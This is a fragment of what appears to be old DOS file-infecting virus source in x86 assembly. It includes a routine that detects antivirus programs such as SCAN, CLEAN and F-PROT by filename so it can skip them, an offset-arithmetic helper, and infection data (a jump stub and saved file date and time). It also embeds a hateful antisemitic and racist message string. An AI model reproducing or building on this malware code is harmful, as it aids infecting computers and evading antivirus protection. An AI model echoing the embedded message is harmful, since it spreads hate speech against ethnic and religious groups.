;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; MultiPly
|
|||
|
;--------------------------------------------------------------------------
|
|||
|
multiply PROC
|
|||
|
push bx
|
|||
|
push cx
|
|||
|
mov cl,0Ch
|
|||
|
shl dx,cl
|
|||
|
xchg bx,ax
|
|||
|
mov cl,4
|
|||
|
shr bx,cl
|
|||
|
and ax,0Fh
|
|||
|
add dx,bx
|
|||
|
pop cx
|
|||
|
pop bx
|
|||
|
retn
|
|||
|
multiply ENDP
|
|||
|
;-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-
|
|||
|
; Check for AV file... Like SCAN.EXE or F-PROT.EXE
|
|||
|
;-------------------------------------------------------------------------
|
|||
|
Check_4_av PROC
|
|||
|
push si
|
|||
|
push cx
|
|||
|
mov si,dx
|
|||
|
mov cx,256h
|
|||
|
av: cmp byte ptr ds:[si],2eh
|
|||
|
je av1
|
|||
|
inc si
|
|||
|
loop av
|
|||
|
av1: cmp word ptr ds:[si-2],'NA'
|
|||
|
jnz av2
|
|||
|
cmp word ptr ds:[si-4],'CS'
|
|||
|
jz fuck_av
|
|||
|
av2: cmp word ptr ds:[si-2],'NA'
|
|||
|
jnz av3
|
|||
|
cmp word ptr ds:[si-4],'EL'
|
|||
|
jz fuck_av
|
|||
|
av3: cmp word ptr ds:[si-2],'TO'
|
|||
|
jnz not_av
|
|||
|
cmp word ptr ds:[si-4],'RP'
|
|||
|
jz fuck_av
|
|||
|
not_av: pop cx
|
|||
|
pop si
|
|||
|
clc
|
|||
|
ret
|
|||
|
fuck_av: pop cx
|
|||
|
pop si
|
|||
|
stc
|
|||
|
ret
|
|||
|
Check_4_av ENDP
|
|||
|
msg db "Death by Miscgenation DIE WHITE GOYIM DIE! '94(c) IsRaEl"
|
|||
|
old_time dw 0
|
|||
|
old_date dw 0
|
|||
|
file_handle dw 0
|
|||
|
jump_address db 0E9h,90h,90h
|
|||
|
buffer db 90h,0CDh,020h ;\
|
|||
|
db 18h DUP (00) ;-Make 1Bh Bytes
|
|||
|
last:
|
|||
|
seg_a ends
|
|||
|
end start
|
|||
|
|